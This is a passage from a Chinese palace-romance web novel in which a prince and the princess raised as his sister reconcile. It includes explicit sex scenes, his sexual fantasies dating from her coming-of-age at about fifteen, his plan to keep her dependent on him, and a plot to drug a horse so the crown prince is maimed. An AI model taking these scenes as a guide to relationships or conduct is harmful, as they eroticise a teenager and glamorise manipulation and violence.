温香软玉在怀,萧彻低头看去,入目便是她腰侧上一大片青紫痕迹,他蹙紧了眉,心底的疼惜与自责又浮了上来。 目光下移,隐约窥见她微微开合的大退内侧泛红的肌肤,虽然不曾破皮,但已然被他的东西磨得有些有些红肿了,该是疼的吧,她甚至都闭不拢。 更不用说别的地方,腰上、凶上,到处都是他留下的痕迹,掐的,吮的。像是漫天雪地中落下的点点红梅。 实在惨不忍睹。 他自问是刻意克制了的,只是她的肌肤比他想象的还要娇嫩,稍一用力,就会留下痕迹。 如今见她一身累累的伤痕,他实在很难做到无动于衷。 小姑娘伏靠在他的怀里,泪水很快沾湿了他的衣襟,也将他的一颗心浸泡在了水里,很快便软了化了。 他一时心绪极乱、摸了摸她的脑袋,到底还是叹息了一声:“别哭了。” “你说的事,我会考虑。” 颜嘉柔停了下来,抬头抽噎着看向他:“考……考虑,是什么意思?” 萧彻喉结滚动,深看了她一眼,小姑娘眼圈红红的,脸上胡乱淌着一片斑驳泪痕,身上遍布红痕,一副被狠狠蹂//。躏过的样子,她如今这副模样,他也实在不能再冷着脸让她滚。 略偏过头,他语气有些烦躁:“你不是,想将那件事翻篇吗,我会考虑,不过在此之前,” 他转头重新看向她,声音也终于柔了下来,揉了揉她的脑袋道:“颜颜,我想我们都要好好冷静一下。冷静过后,再来决定,我和你之间,到底该是什么样的关系。” “刚好淮州一带发生了水患,父皇已经派我和二哥前去筹款赈灾,不日就要动身。” “这一去总要月余,你不是想要时间么,好,我给你时间,等我回来后,我想你应该也想清楚了,到时候再告诉我你的答案。” 颜嘉柔呆呆地看着他,泪水渐渐溢满了眼眶,他后面说的话她一个字都没有听进去,满脑子只有一个念头:他要走了。还要走一个月那么久…… 淮州之行一位皇子去还不够么?印象中从前赈灾也没有两个皇子一同前往的先例,大多只是派钦差大臣前去就足够了。 “你是不是故意躲着我?”她死死咬着唇,越想越难受,眼泪不受控制地往下掉:“萧彻……你,你不要我了?” 她仰起一张小脸,眼圈红红地看着他:“你走了,我怎么办呢?” “没有不要你。可是颜颜,我总有我该去做的事情。更何况从始至终,不要我的,都是你。”他抬手帮她拭去眼尾的泪痕:“放心,我会安排好,就算我不在,你也不会受到任何影响。” “你骗人……怎么会没有任何影响呢……”颜嘉柔伏靠在他怀里不住地抽噎。 眼下萧彻还没走,她就觉得她快要受不了了,一想到他们要分开那么久,她就无比焦虑,她根本离不开他,她犯病了怎么办呢。 而且……他们还没和好,还没和好萧彻就要离开她了,会不会等他回来就彻底不要她了。 呜呜呜,那时她又该怎么办? 不可以,一定要在今天就和他和好! “一个月,”她忽然从他怀里抬起头,粉白的脸上淌着斑驳的泪痕,活像是只哭花了脸的小花猫,然后此刻也顾不上那么许多了,只急急地道: “萧彻,我答应你,一个月后,倘若一个月后我还是像现在这么喜……这么离不开你,我就选你,我就嫁给你,好不好?” “我想一个月,也足够太子走出先皇后离世的阴影了,如果我对你的感觉依然没有变,就说明我对你并非是一时的意乱……我的意思是说,那么从今往后,我就只喜欢你一个,我的眼里心 里,也只会有你一个,好不好?” 眼前像是绽放了上元节漫天的烟花,一阵阵的晕眩,血管中的血液流速都不可抑制地变快,萧彻听到自己的声音带着微微的颤意,游离在身外地响起:“你……你说什么?” 经年痴心妄想,眼看就要得偿所愿,没有人不会为之心动的。 他原本许诺一月之期,不过是想双方互相冷静一下,一月之后,她若是能跟萧珏断了自然最好,可若是她依旧不能,他扪心自问,又真的能舍得下她? 再如何做出绝情的姿态,也抵不过她那般哭着求他时坠下的一滴泪。 在他面前,他一向引以为傲的意志力,简直脆弱的不堪一击。 他原以为回来之后又少不得一番纠缠与挣扎,可她如今竟许诺只要一个月后对他的心意不变,离不开他,就选他。 被颜嘉柔坚定地选择,他渴望了那么多年。 一个月后依旧离不开他,就嫁给他,只喜欢他,在他看来,这跟当场与他示爱没什么区别。 一个月后她当然离不开他,短短一个月,她的怪病怎么可能突然治愈。 ——首先,她的身体就离不开他,她需要他的血。 其次,只要他愿意,情话亲吻,撩拨调情,她喜欢什么,他都可以满足她,这些手段,于他而言不过是信手拈来。 颜嘉柔从某种层面上来讲,还是很好哄的,不过是一个略带调//。情的吻,就会被亲得软了身子,晕晕乎乎的躺在他怀里任他摆弄。 原来她喜欢这些,这还不是容易得很么。 她喜欢什么,他就给她什么。 她怎么可能离得开他。 那么只要一月之期一到,她就彻底是他的了。 永远,只喜欢他,那样好听的话。 其实很多年后再回想起当初的一幕幕,他发现一直以来,颜嘉柔都在用同一个诱人的条件吊着他。 一次比一次更给他希望。 让他觉得他渴望许久的东西已经触手可及,近在眼前,所以不甘放弃。 但其实一切不过是镜中花水中月,一旦想伸手触摸,幻象便随之破灭。只是当时的他,显然意识不到这一点。 她让他等。 仿佛只要他愿意等下去,他就能得到他想要的。 以至于当最后发生那件事时,他发现自己活成了一个彻头彻尾的笑话。 走马观花地回顾过去的二十年,有关于颜嘉柔的画面,竟然占据了那样多的篇幅。 奶团子时,张着胖乎乎的小手臂缠着要他抱,含糊不清地叫着他“哥哥”;四五岁时,便已会挡在他身前保护他、开解他;后来许多年过去,一转眼,她已经长那么大了。 不知从什么时候开始,他就对她有了别样的心思。 她及笄的那一天,他喘息着,叫着她的名字释放了出来。 兰陵人可怖的精力,只能一次次地通过幻想她来得以消耗。 从她得病招惹他开始,到吵架之前,那段时间他们如胶似漆,她却只肯让他亲亲抱抱。 可在他的梦境中,她早就被他干烂了。 再后来关于她的记忆,是她对他表面上与日俱增的迷恋与依赖,汗涔涔地与他十指交握,在那种时候,也要费力地亲吻着他,然后在他s下娇川连连:“哥哥……嗯……好喜欢……” 每次欢好过后,她都会趴在他的胸膛上,一遍遍地对他说着海誓山盟:“我会嫁给你,哥哥,我会只喜欢你。我们会永远在一起。” 回忆到此戛然而止,再抬头时,却是她看向他无比冷漠的眼神。 有一种荒诞的割裂感。 她看着他,就像在看一件死物。 但即便到了那个时候,他想时间回溯,重来一次,重来千千万万次,他依然会重蹈覆辙。 因为当下的他,根本无法拒绝。 —— 颜嘉柔听见他问“你说什么?”却非一口答应,心中难免有些忐忑,浓睫轻轻颤了颤,犹疑着是否要重复说一遍:“我说……” 却才刚张口,后颈便被人往前扣,尚未反应过来,余下的话便被尽数堵在了口唇之中。 萧彻这次吻得略显急躁,不复之前游刃有余的挑//。逗与调//。情,松开后他抵着她的额头,气息有些不匀:“你说的,就一个月。不反悔?” 颜嘉柔被亲得有些晕,下意识地点了点头,又摇了摇头,却又觉得无论点头还是摇头,似乎都有歧义,便连忙开口补充道:“不……不反悔!” “君子一出,驷马难追,”小姑娘说话时脸颊鼓鼓的,明明一副稚气未褪的样子,竟像是将余生都想好了,似乎是做了十分的决心,神情极为认真:“我虽然不是君子,可也知道言出必践的道理,我……我不会辜负你的!” 萧彻一怔,心尖仿佛有热流淌过,软得一塌糊涂。 “小傻子,”他勾起唇角,捧过她的脸轻碰了一下唇瓣,喉间逸出一声轻笑。 依旧是一贯散漫的语调,可说出口的话,却分明多了点缱绻的意味:“等着当我的新娘子吧。” “那……那你是答应了?”颜嘉柔眨了眨眼,小脸上闪烁着兴奋的光芒,吃了上次的亏,她这次显然谨慎了许多:“答应了可就要和我和好了!” “没说不和你和好啊。”萧彻笑了,掐了掐她的颊肉,凑至她耳边暧//。昧道:“一个月后,洞房花烛之夜,看我怎么收拾你,等过了那晚,你才是真真正正离不开我了。” 颜嘉柔愣了一会儿才反应过来他是什么意思,一时小脸涨得通红,结结巴巴地道:“我……我说现在,我们现在就要和好!” 萧彻挑眉,对上她分外渴求的目光,旋即笑了:“就那么想和我和好啊。” “行啊,不过我马上就要离京了,你的一月之期,或恐要延后,否则我不在你身边,怎么让你更喜欢我、离不开我?” 说着想起一事,蹙眉道:“喂,小兔,我不在的这段时间,你可不许去见萧珏,否则对我不公平,知道吗?” “届时我自会在宫中安插眼线,监视你的一举一动,若是被我发现你趁我不在的时候,偷偷去见萧珏……” “我不会的,哥哥,”他的话还未说完,少女便急切地出声打断,白嫩的藕臂勾缠着他的脖颈,贴得近了,柔软饱满的胸月甫轻轻摩挲着他的胸膛,嗓音轻软,自有一种娇滴滴的媚:“和你做的约定,自然是要和你在一起,不会有旁人。” 她一瞬不瞬地看着他,目光盈盈动人:“哥哥,我们和好吧,从这一刻开始,好不好?” 萧彻深看了她一眼,喉结上下滚动。 宽大的手掌抚摸着她光滑的脊背,忽的用力一按,像是恨不得将她揉进他的怀里,与他合二为一,你中有我,我中有你。 颜嘉柔娇呼一声,双手颤颤地攀附着他的脖颈,有些嗔怪地看了他一眼:“……到底,好不好?” 他忽然一扯唇角,笑得懒散:“好啊。” 当萧彻压上来,像从前一样仔细地亲吻舔//。舐着她时,她后知后觉地环上他的腰,才意识到他们终于是和好了,一时眼角竟有些酸涩。 刚跟他和好的颜嘉柔实在有些黏人,就像一块牛乳糖,剥香香软软,腻人得厉害。 萧彻唯恐再腻歪下去又引火上身,拍了拍她的屁股,从喉间逸出一声闷笑:“好了,抱那么紧做什么 ,勾引我啊?松开。” “我不……” “乖,你先回去,”萧彻亲了亲她的鬓角,柔声哄道:“又不是不回来了,宝宝,我们今后,有的是时间厮磨。” 第64章 第64章暂时和好|“你选我,我…… 小姑娘抬头巴巴地看着他,透亮的黑色瞳仁里的浮着雾气,委屈地道:“可是我们才刚和好,你就要走……你就不能多陪我一会儿么,就一会会儿。” 萧彻挑眉:“怎么陪,光说话啊。”一面伸手抚上全删。 唇角噙着笑,抬眼看向她,目光含着浓重的暗示意味,缓缓游移,光是一个眼神,便让人脸热心跳。 颜嘉柔耳廓绯红:“嗯……哥哥,全删……” 小姑娘呼吸轻颤,薄红的眼皮掀起,有一种似睨非睨的媚:“哪有光说话,没有不让你全删……” 萧彻沙哑着嗓音逗她:“只让摸,不让全删” 颜嘉柔面上流露出一丝窘色,声音细如蚊呐:“我……我没有……” “好了,我陪着你,就说说话吧,或者……”他忽然想起什么,掐了把她的脸颊,眼底闪过一丝兴味:“颜颜,我帮你作幅画吧,好不好?” “作画?” 萧彻理所应当地“嗯”了一声:“我就要离京了,想你了怎么办,把你的画带在身边,聊作慰藉。” “其实不用带画,我……”颜嘉柔想了想,最后只道:“不过若是你想要我的画,当然也可以啦。” 萧彻取来了笔墨纸砚,作画时却不让颜嘉柔裹上锦被:“宝宝,你这样裹成一条毛毛虫,我怎么下笔?” 颜嘉柔捧着自己胖乎乎的小脸,眨了眨眼道:“不……不能只画脸么?” “只画脸?”萧彻好笑道:“一张纸上就一颗脑袋,颜颜,你不觉得瘆得慌?” “那我……我穿好衣服……” 萧彻却不让:“可我喜欢你不川依服的样子。” “可……可是……我……” “害羞什么,宝宝,你的s体很美,我很喜欢。” 他走过来抱住她,下巴枕在她的颈侧,轻轻摩挲,哑声道:“颜颜,我想画你的裸//。身像,可以么。” “为……为什么一定要画那个……穿衣服的画像一样可以作为念想……”那样简直像在画椿宫图,太羞耻了。 萧彻埋在她的颈窝,含混地笑了声:“因为,我想对着你的画像做坏事啊。” “什……什么坏事?” 萧彻抬头,看着一脸天真的小兔,意味深长地笑,“宝宝,你不会想知道的。” 颜嘉柔最后还是被他磨得答应了,她其实并不是很能拒绝萧彻,从一开始清醒地只把他当做哥哥,后来慢慢越界,到如今沦落到这般田地、不着寸缕,任他施为……便已经可以看出来了。 只要他肯稍稍顺着她一些,哄着她一些,她便毫无招架之力——面对他时,她的意志实在算不上坚定。 最后她并没有看到成品,因为她怕萧彻要画很久,便选了个舒服的姿势,不知不觉就睡着了。 萧彻画完后走过去一看,小姑娘睡得正香,似乎做了什么梦,含糊不清地叫着一个人的名字,他俯身仔细听了。 她在叫两个字,一个人的名字,萧彻。 说的是:“萧闻祈……别不理我……哥哥,好喜欢……喜欢你……” 萧彻搭在她眉眼上的手指微微蜷缩了一下,愉悦地弯起唇角:“梦里都叫着我的名字,就这么喜欢我啊?” 然而声那音终归趋于飘渺,宛若尘烟一般,渐渐消散在这虚空之中:“你喜欢的,究竟是我的人,还是我的血?” 他俯下身,落下万般珍视的一个吻:“你选我,我绝不让你失望。” —— 萧彻为颜嘉柔盖好薄被,又坐在床边静静地看了她许久,直到门外响起轻扣声,说是燕小将军来了,眼下在书房候着,他这才起身离去。 书房内,方才被颜嘉柔拾起的那两张水纹纸,此刻正交叠着静静地铺陈在桌案之上。 其中放置在上面的,是写有萧珏名字,被穿透纸张的笔力,触目惊心地勾画了圈叉的那一张。 萧彻的手放置在上面,屈起食指轻扣:“去告诉萧衍一声,就说他将那个人安插在沙苑监也有一段时间了,眼下时机到了,不必再等,可以动手了。” “再有几日,恰逢节令宴,胡人进贡的马匹也该到了,不出意外的话,下回节令宴,父皇该赏赐萧珏御马了,安插在沙苑监的那名下监,我曾亲自教习过他,他的马术数一数二,又极会豢养马匹,必定会被选上。” “你告诉萧衍,本就是萧珏自己从沙苑监挑的人,马匹出了事,也查不到他的身上,更不用说他那时已经离京,既不在京中,旁人自然不会疑心到他的头上,这样的好机会,错过一次,下次可就不知在哪里了。” “上次骊山之行,萧衍该有经验了,你让他如法炮制,在御马的草料上动点手脚就是了。” “你就这么跟他说,我想他现在也没别的主意,该是会听我话的。” “只是上回往草料里下的药份量还是太多,毕竟是亲兄弟,倒也不必下死手。” “可得小心了,药一定要把控好份量,毕竟萧珏那个废物,毫无身手可言,一不小心,或许就将他弄死了。” “意思一下,弄断他一条腿或是让他落个残疾也就差不多了。” “魏朝选储君,除却嫡长之外,还极重仪容,一个残废了的皇子,是继承不了大统的。” “告诉萧衍,此去淮州筹银赈灾,于公于私,我都会想法子帮他把差事办得漂亮。” “届时他办好差事,父皇必定高兴,而萧珏成了残废,则彻底失宠,别说父皇,就连百官也不会愿意拥立一个残废太子的,等到那时,这诸君之位,自然非他萧衍莫属——这样的机会,可千万别错过了。” 燕骁听完他的话,点了点头:“好,我待会儿出宫,会把你的话带到。” 他说着又看了他一眼,欲言又止。 萧彻挑眉一笑:“怎么,你还有话要说?” “你这次出宫自然有你的盘算,非去不可,”燕骁蹙眉道:“只是你这一走,你那位娇里娇气的小公主怎么办?” “颜颜?怎么?” 燕骁道:“她不是离你不得么,你眼下要走了,那她?” “没事,我会安排好。”说着眯起眼眸,蹙眉打量着他:“你那么关心她做什么?” 燕骁:“不是,你这么看我几个意思?你不会以为我对她……” 他简直被气笑了:“放心,我不是你,还没撬人墙角的癖好。何况她那般娇气,说话就跟撒娇似得,以她的性子,你要真跟她好了,她肯定整日腻着你,我可受不了。” 萧彻笑了声,闲闲地道:“你就酸吧。你想要还没有呢。” 燕骁一脸嫌弃:“咦,你怎么变这样了,我真受不了你。” 想了想,到底还是试探地开口:“那什么,她最近……有什么异样没有?” “异样?什么?” 燕骁咳嗽了声:“譬如,对你有没有变得格外热情?”见萧彻不解其意,心一横,索性直接问了出来:“她最近,有没有对你发过情?” 萧彻一怔,随即笑了下:“她为什么要对我发//。情?” 他恬不知耻地道:“我对她发//。情还差不多。” “……咳,您的那点心思,您自个儿知道就好,倒也不必什么都跟我说。” 燕骁道:“说正经的,你那心肝的怪病,如今是怎么个情形,一个月过去了,便没什么进展?” “进展?除了取血越来越频繁,间隔时间越来越短之外,倒也没有什么别的进展。怎么,还有别的?” 燕骁闻言低声喃喃道:“不对啊,哑医说,不服用他所配制的药延缓进程的话,进展就在这几天了啊,该是不满足只取血了才是……” 萧彻没听清:“什么?” 燕骁咳嗽了声: “没什么,只是想起哑医曾经的叮嘱,说是这怪病过段时间或许会有进展,你这次离开清河公主那么久,恐生变故。” 他说着从腰带上扯下两只锦囊扔给他:“喏,哑医给我的,等清河公主病情有进展时再打开看,蓝的那个先打开,不管用了再打开红的那个,顺序可别弄混了。” 萧彻挑眉,伸手捞起,看着手中的两只锦囊若有所思:“为什么不直接说,还特意放在两个镜囊中,弄得这么神秘。” 直接说?燕骁心说他还真说不出口,他不像萧彻,他还要脸。 血不管用了,要他的精。 饶是他和萧彻是两个大男人,这种话当面说出来,也实在……略有些难以启齿。 再说了以萧彻不要脸的程度,可别等会给他说爽了。 啧,还是算了吧。 不过话又说回来,萧彻虽然在某些方面很不要脸,但以他的性子,其实在知道了实情后,还未必会真的高兴。 他是最不屑强迫的。 尤其是对女人。 当然凭心而论,他也确实用不上强迫。 燕骁想,萧彻长这么大,在女人方面,大概也只有在那位娇滴滴的小公主那里碰了壁。 他是知道他的心思的,他喜欢了她那么多年,却连挟恩图报这种事都不屑于做,更遑论别的。 也就是骊山之行,那小公主意外被野狐咬了一口,得了那等怪病,才让两人不得不绑在一起,否则以萧彻的性子,不屑勉强,还真有可能就此撂开手去。 只是如今的情况却有些不同了,因着那怪病,他与那小公主不得不被迫见面,许是有求于人,小公主的脾气收敛不少,萧彻此人,向来吃软不吃硬。 巧了,他估计那小公主也是。 萧彻肯服软哄人,那是什么场面,兰陵人有着先天的优势,一骑绝尘的皮囊加上无师自通的调情手段,那绝对是能让任何一个女人沉溺其中的。 双方都是吃软不吃硬,于是这便形成了良性循环。 这一来二去,两人很快便如胶似漆。 他曾在含光殿远远地见过二人在一起的场景,小公主简直是黏人的不行,萧彻却也纵着她。 他尝了他曾经梦寐以求的、这等汹涌而炽烈的爱意,便不知日后还能不能放手放得那般潇洒了。 话说回来,因着他不屑强迫,当初知道清河公主得了那等怪病之后,第一个念头,不是借机要挟她和他在一起,而是想办法帮她治好这个怪病,似乎完全没有考虑过一旦怪病被治愈,他对她就再没了利用价值,他也就没了要挟她的砝码。 所以他据此推断,萧彻知道了清河公主病程进展所需要的东西后,恐怕也高兴不起来。 非但如此,甚至还会帮她想办法避免。 啧,这可不是他喜闻乐见的。 作为与萧彻从小一起长大的玩伴兼好友,他太知道萧彻究竟有多喜欢颜嘉柔了,从她还是个小婴儿时他就喜欢她喜欢的不得了,下学之后的第一件事,就是回宫看他的宝贝小皇妹,将她抱在怀里,听她叫他一声哥哥。 连晚上都要陪在她身边睡觉,他照看她的时间,恐怕比贴身嬷嬷还要多。 这般捧在手心怕摔了、含在口中怕化了地养到四五岁。 后来更是舍去半条性命从池子里救下了她。 之后种种,自是不必再提。 他想这辈子,萧彻该是不会为了另一个女人做到这种地步了。 所以作为一路见证他对颜嘉柔用情至深的好友,他当然也想帮他。 当面说尴尬是真,想帮他也不是假,现在说出口的话,只怕徒生变故,不若等颜嘉柔的病程的确得到了进展,再让他亲自打开锦囊,获悉解决办法,到那时箭在弦上不得不发,他自然只能身体力行,帮小公主治病了。 只不过眼下萧彻即将离京,也不知道颜嘉柔的病程何时进展,若是在萧彻离京的这段日子里进展,那可就有点难办了。 难不成还得把她送去见萧彻?倒也不是不行…… 不过听萧彻所言,如今也没个明显发作的征兆,萧彻多留点血在这儿,该是能撑到他回来。 说起来,萧彻因没碰过女人,自然不知道何为灵//。肉合一,灵若是有所欠缺,也是可以通过“肉”来弥补的嘛。 女人跟男人不一样,他混迹情场惯了,一贯是风流薄幸,万花丛中过,片叶不沾身。 说到女人的心思,他自然要比萧彻懂得多。 女人若是跟男子做了那等事,只要并非出自绝对的强迫,自然会对男子生出别样的情愫。 小公主自己被白狐咬伤得了怪病,那白狐又不是萧彻放的,他被她取了那么多血,某种程度上来说他也是受害者,她为了治病不得不求助于萧彻,也非是萧彻逼她,自然算不上强迫。 萧彻想要她全部的喜欢,先让她迷恋上他的身体,何尝不是另一种捷径。 兰陵人生来便有某种优势,萧彻的几位姑姑,哪位不是养了几位兰陵面首后,宠爱尤甚,连驸马都不要了,他不信小公主试过之后会不喜欢,她一旦喜欢上他的身体,自然而然也就会喜欢上他这个人了。 等到了那时,他不就可以喝上他们的喜酒了? 嘶,到时候可得让萧彻给他这个媒人包一个大红包才是。 “燕骁,”萧彻敲了敲桌子,皱眉看着他:“你笑得这么淫//。贱,在想什么呢?” “喂,”燕骁闻言回过神来,不满道:“我长得这么风流倜傥、玉树临风,浑身上下,有哪里跟淫//。贱这两个字沾边了?” “不好意思,”萧彻笑了下:“没看出来。” “你!”燕骁没好气地瞪了他一眼,眼珠子转了转,忽然就想挤兑他几句。 他俯下身,双手撑在桌案上,低头看着萧彻,神秘莫测一笑: “我说,你还记得有关骊山那只白狐的传说吧?白狐性本淫,你以为它为什么要咬你那心肝?” “还不是因为连只狐狸都看出来你喜欢她,它做不到的事,自然只能藉由她的手。” “颜嘉柔被它咬了一口,种了y//。性,且只对你情难自禁,指不定什么时候就发作了,等到那时——” 他意味深长地看着他,笑得促狭:“你可当心别被她榨//。干了哈哈哈……” “燕骁,”萧彻嗓音微沉,皱眉道:“你有病就去治。” 第65章 第65章不是颜嘉柔又是谁? 燕骁走后,萧彻独自一个人坐在书房中。 薛止这时进来禀报,说是清河公主走了:“听嬷嬷说,您出去不久后她就醒了,闹着要见您,听说您在书房和燕小将军议事,这才作罢,气鼓鼓地走了。” 萧彻“嗯”了一声:“知道了。” 想到她气鼓鼓离开的模样,不自觉地弯了唇角。 “之前我在宫外荣记斋买的那些糕点和各式的糖,全都是她爱吃的,你看着挑几样替我送过去,哄哄她。” “是。” 又叮嘱道:“让映雪看着她点,不许她一口气吃太多,会坏牙。” “是。” 薛止一一应下,正要告退,不防萧彻忽然叫住了他:“薛止,” 他道:“去取四个佩囊过来。” 薛止一怔,虽有不解,但还是恭声应是。 —— 四个佩囊整齐地摆放在桌案上,长七寸宽三寸,寻常用来装水,自然也能装血。 颜嘉柔每次取血的量并不多,四个佩囊,足够有盈余了。 萧彻取出匕首,刀鞘滑落,寒芒湛湛。 他解开袖口,利刃置于腕上,缓缓划开皮肉,雪白的刀刃所过之处,鲜血汨汨渗出。 萧彻蹙紧了眉,虽然没有出声,额角却已渗出冷汗。 兰陵人的痛觉异常灵敏,感知能力是常人的数倍不止。 寻常的皮肉伤,于他而言,却宛如酷刑。 他忍着剧痛,拿起一个佩囊,打开后接过淌下来的鲜血。 随着 一个又一个的佩囊被装满,他的面色也一分分变得苍白。 终于等到最后一个佩囊被装满后,他停了下来,忍着一阵阵头晕,伏靠在桌案上稍作歇息。 这般缓了半柱香的时间,他开口叫薛止进来。 —— 薛止用漆盘端着四只佩囊出门,迎面正好撞上姬乐。 他朝她微微一点头,叫了一声“姬乐姐姐”,便算作打过招呼了,擦身而过之际,却忽然听到姬乐叫了他一声:“等等。” 薛止不由得停下了脚步,侧头看向她:“姬乐姐姐可有什么吩咐?” 姬乐蹙着眉,目光紧紧盯着漆盘上的几个佩囊,只问:“这里面装着的是什么?” 薛止一怔,下意识地便想答:佩囊中装的自然是水了。可转念一想,主子特意让他藏到冰窖,并让他知会映雪一声,说是一旦公主发病,便去冰窖中取。 那想来应该不是水那么简单,既能治病,应当是药? 这么想着,便回答姬乐道:“好像是主子给清河公主准备好的药。” “药?”姬乐闻言,眉头蹙得愈发得紧。 鼻尖萦绕着熟悉的气味,花木凋零的萧瑟气息,混杂着极淡的血腥味,这种血腥味与寻常魏人的血腥气不同,十分的淡,常人几乎嗅闻不到。 这种独特的气味,她只在一个的身上闻见过——江沉鱼。 她只在江沉鱼受伤、抑或是咳血时闻到过。 是了,那是兰陵人的鲜血的气味! 姬乐猛地睁大了眼,像是忽然想到了什么,一时脸色变得十分不好,也不再理薛止,转身匆匆地往萧彻书房所在的方向去了。 薛止挠了挠脑袋,有些摸不清姬乐的意图,也不再理会,继续往前走了。 —— 书房的门被姬乐从外面推开的时候,萧彻正在包扎伤口。 听到动静,他抬头看了一眼,立刻皱起了眉:“姬乐,”他冷声道:“未经通传,便擅自进来,你真是越来越没有规矩了。” 姬乐咽了一口口水,闻言只是直勾勾地看着他,转身关上了门,朝他一步步走来:“殿下,是我逾越了,如何处置,但凭殿下吩咐,只是如今,我有一桩要事,须得当面向殿下求证。” 萧彻皱眉,忍下心中不耐:“什么?” 姬乐走到书桌前站定,刚想开口,余光瞥见他缠绕着纱布的手腕,似乎伤口太深,抑或是并未及时止血,鲜血正从伤口处缓缓渗出,浸透纱布。 她见了眼前的这一幕,当下还有什么不明白的,脸色骤变,连声音都变了调:“真的是你的血!你竟然放了那么多血,装了满满四个佩囊……” 她只觉心疼得无法言说,哀哀地道:“殿下,你是疯了吗?!” 萧彻喉结滚动,相比于她的失态,他的神色要冷淡许多,只道:“这是我自己的事,与你无关。” “与我无关?小彻,我是从小看着你长大的,你难道要我眼睁睁地看着你去死吗!” “姬乐姐姐,你严重了,”萧彻笑道:“不过是一点血,怎么会要了我的命呢。” “一点血?满满四个佩囊,那是一点血吗?”姬乐深吸一口气,看着他道:“是谁?是那个清河公主么,你是为了她才不惜这么作践自己的身子的吗!” 她早该想到的,她知道他喜欢她,却不知已经到了这等地步! 那次她来含光殿找他,说是生了病,必须立刻见到他,她一直以为那不过是她的托词,现在看来,恐怕确有其事,包括后来见她一脸春情,又以为她是中了什么药,要萧彻去解,却是她想岔了。 原来她要的,竟然是萧彻的血! 他怎么可以为了一个女人这么作践自己的身子呢?! 她一时说不上是嫉妒多一些还是心痛多一些。 她对他的感情太复杂了,既有男女之欲,又因自小看着他长大,有一种姐姐对待幼弟的疼惜,看到他为了别的女子这么不爱惜自己的身子,又怎能不感到心痛? “她究竟得了何种怪病,竟然要你的血喂养,你这样会死的,你知道吗!她难道不会良心难安么,为了一己私欲,竟让你……” “够了”,萧彻嗓音沉了下来:“这不关她的事,是我自愿给的。” “自愿?”姬乐像是被这两个词狠狠刺激到了,一张娴静姣好的面容也开始变得扭曲:“难道她要你的命,你也给她吗?!” “是,若是需要一命换一命,我自然愿意把我的命给她。” “只要她想,只要我有,我什么都可以给她,何况是区区一点血。” 姬乐只是觉得荒谬:“她什么都没有为你付出过,她甚至之前一直围着太子打转,她为你做了什么呢,怎么配你如此待她!” 萧彻只是淡淡地看了她一眼:“她和我之间,从来不是买卖。她不用为我做什么,她什么都不用做,我也从来不需要她的回报,我为她做的所有事,全都是心甘情愿。” 姬乐只是失神喃喃地道:“为什么呢……” 然而她也知道,并不是所有问题都有答案,就像萧彻并没有为她做什么,她也愿意为他付出一切,情之一字,从来都不讲道理。 可是她又怎么能眼睁睁地看着他为了那个清河公主这般作践自己呢? 满满四个佩囊,几乎是一个成年男子一半的血量了,换做常人现在兴许早就没命了,也就是萧彻,胜在年轻,身体又好,还有一半兰陵人的血统,才不至于有什么太大的影响。 可万一呢,万一出了什么差池,她简直不敢想象那个后果,他怎么会为了那个女人做出这样冒险的事情! 今日是取血,那往后呢?会不会又想要他的性命? 要彻底杀死一个兰陵人并不容易,相比魏人,他们的生命力更为顽强。 除非是知道他们的命门,才能一击致命。 兰陵人的命门,从来是个秘密。 不过看萧彻如今这个样子,若是颜嘉柔去问,只怕一五一十全都说了吧。 她有预感,他将来定然会被这个女人害惨。 可惜她如今什么都做不了,他不会听她的,她只能看着他越陷越深,挖心掏肺,将他的血肉一寸一寸地生剐下来,献祭给那个女人。 姬乐最后只能红着眼眶质问他:“你难道忘了娘娘临终前的叮嘱?她是魏人,魏人没有一个好东西!你难道忘了你的灭族之恨了吗!” “我没有忘。” 萧彻深深地一闭眼,搁置在桌案上的手缓缓收紧了:“我答应过我母妃的事情,我一定会做到。” “我会让他们魏族皇室,生生世世流淌着我们兰陵族的血液,我会让我们幸存的族人,不必再东躲西藏、苟延残喘。” “我会完成我母妃的遗愿,我很清楚自己在做什么。我没有一刻忘记过我的使命,我知道我肩上背负着什么。” “但是古往今来,但凡战乱与争端,无一例外,皆是由男子挑起,又关女子什么事呢?” “所谓红颜祸水,不过是男子将罪责全都推脱给女子罢了,她是魏人又怎么样?她心思单纯,手上从未沾过血腥,不过是个什么都不懂的小女孩,你又何必这般苛责她。” “所以姬乐,”他冷冷地看向她:“以后这样的话,我不想再听到第二遍。” 姬乐惨淡一笑,木然地点头道:“是。” “在您眼中,她就是个天真单纯、人畜无害的小白兔,我说什么你也不会相信,既然如此,我又何必再惹您生气。” 萧彻皱眉,语气已经十分不耐:“出去。” 姬乐攥紧了手,眼圈发红地看着他,胸口气得微微起伏,一时连礼都顾不上行了,转头便夺门而出。 —— 次日一早萧彻出发时,原以为颜嘉柔会来送他,可他刻意等了她一会儿,却始终没见她过来,到底也只能上了马车。 心中虽觉怅然,但转念一想,颜嘉柔没经历过几次生离,他们才刚刚和好,原该形影不离地待在一块,可转眼便要分离月余,看她昨天那个黏人劲,回去后指定要躲在被窝里哭鼻子。 便是今日见了,少不得也要掉几滴泪。 算了,他想,还是不见的好。 —— 昨日过度取血后,睡了一觉,倒是好的差不多了,只是仍有些许晕眩,他上了马车后,便靠坐在马车上闭目养神。 此去淮州,他与萧衍轻装便行,并未带多少人,不过两架马车,几个侍从罢了。 萧彻随行只带了薛止,萧衍那边的随从略多些,总有三四个,另还有两名美婢。 马车缓缓驶动,一行人渐渐远离皇宫。 等出了城门后,萧彻略有倦意,正要睡去。 忽然眼前亮了一度,闭着眼也能感受得到,是有人掀开轿帘蹑手蹑脚地上了马车。 他以为是薛止,便也没睁眼,只微微沉声道:“不用你伺候,下去吧。” 来人动作停滞了一瞬,却并未下车。 转而刻意放轻了动作,蹑手蹑脚地绕过马车正中的一张小叶紫檀茶几,等离得近了,便屏住呼吸,伸手朝萧彻扑去。 虽则动作极轻,但空气中仍有细微的流速变化,萧彻耳廓微动,准确无误地捕捉到了来人的方位。 来人毫无所察,正沾沾自喜地要扑入他的怀里,命运的咽喉却忽然被人一把扼住。 鼻尖萦绕着淡淡的脂粉香,还不听他的话,来的人不是薛止,是个女人。 萧彻下意识地收紧了指骨,嗓音冷寒:“找死。” 他倦怠地掀开眼皮,琉璃色的眼眸中透着一片死寂的冷意,像是才下过一场雪的寒冬清晨,茫茫雪色中,裹挟着一派肃杀。 来人戴了一顶帷帽,完整地遮住了面容。 身上穿了王府小厮的服饰,松松垮垮地套在身上,他虽觉得有几分眼熟,但衣服宽松地罩着,看不出身段,脸又被遮了严实,实在无从分辨。 